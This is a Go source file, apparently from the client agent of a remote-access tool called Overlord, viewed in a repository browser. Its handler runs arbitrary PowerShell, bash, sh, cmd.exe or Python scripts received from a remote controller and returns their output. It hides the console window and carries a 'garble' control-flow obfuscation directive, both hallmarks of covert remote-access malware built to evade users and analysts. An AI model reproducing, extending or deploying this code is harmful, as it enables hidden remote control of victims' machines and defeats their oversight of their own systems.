Files
overlord/Overlord-Client/cmd/agent/handlers/script.go
T

119 lines
3.5 KiB
Go
Raw Normal View History

2026-03-05 00:04:26 -06:00
package handlers
import (
"context"
"log"
"os/exec"
"runtime"
"strings"
"time"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
2026-06-04 19:55:32 -05:00
const scriptExecutionTimeout = 5 * time.Minute
func StartScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) {
goSafe("script execute", env.Cancel, func() {
if err := HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType); err != nil {
log.Printf("script: failed to send result for command %s: %v", cmdID, err)
}
})
}
2026-03-05 00:04:26 -06:00
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
2026-04-20 13:46:59 -05:00
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
2026-03-05 00:04:26 -06:00
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
2026-06-04 19:55:32 -05:00
execCtx, cancel := context.WithTimeout(ctx, scriptExecutionTimeout)
defer cancel()
2026-03-05 00:04:26 -06:00
var cmd *exec.Cmd
switch scriptType {
case "powershell":
if runtime.GOOS == "windows" {
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
2026-03-05 00:04:26 -06:00
} else {
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
2026-03-05 00:04:26 -06:00
}
case "bash":
if runtime.GOOS == "windows" {
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent)
2026-03-05 00:04:26 -06:00
} else {
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "bash", "-c", scriptContent)
2026-03-05 00:04:26 -06:00
}
case "sh":
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "sh", "-c", scriptContent)
2026-03-05 00:04:26 -06:00
case "cmd":
if runtime.GOOS == "windows" {
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "cmd.exe", "/c", scriptContent)
2026-03-05 00:04:26 -06:00
} else {
2026-06-04 19:55:32 -05:00
return writeScriptCommandResult(env, wire.CommandResult{
2026-03-05 00:04:26 -06:00
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "cmd.exe not available on non-Windows systems",
})
}
case "python":
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "python", "-c", scriptContent)
2026-03-05 00:04:26 -06:00
case "python3":
2026-06-04 19:55:32 -05:00
cmd = exec.CommandContext(execCtx, "python3", "-c", scriptContent)
2026-03-05 00:04:26 -06:00
default:
2026-06-04 19:55:32 -05:00
return writeScriptCommandResult(env, wire.CommandResult{
2026-03-05 00:04:26 -06:00
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "unsupported script type: " + scriptType,
})
}
2026-04-06 18:20:52 -05:00
hideCmdWindow(cmd)
2026-03-05 00:04:26 -06:00
output, err := cmd.CombinedOutput()
if err != nil {
2026-06-04 19:55:32 -05:00
if execCtx.Err() == context.DeadlineExceeded {
return writeScriptResult(env, wire.ScriptResult{
2026-03-05 00:04:26 -06:00
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
2026-06-04 19:55:32 -05:00
Error: "Script execution timed out after " + scriptExecutionTimeout.String(),
2026-03-05 00:04:26 -06:00
})
}
2026-06-04 19:55:32 -05:00
return writeScriptResult(env, wire.ScriptResult{
2026-03-05 00:04:26 -06:00
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
Error: err.Error(),
})
}
log.Printf("script: execution completed successfully (%d bytes output)", len(output))
2026-06-04 19:55:32 -05:00
return writeScriptResult(env, wire.ScriptResult{
2026-03-05 00:04:26 -06:00
Type: "script_result",
CommandID: cmdID,
OK: true,
Output: strings.TrimSpace(string(output)),
})
}
2026-06-04 19:55:32 -05:00
func writeScriptResult(env *agentRuntime.Env, result wire.ScriptResult) error {
writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
return wire.WriteMsg(writeCtx, env.Conn, result)
}
func writeScriptCommandResult(env *agentRuntime.Env, result wire.CommandResult) error {
writeCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
return wire.WriteMsg(writeCtx, env.Conn, result)
}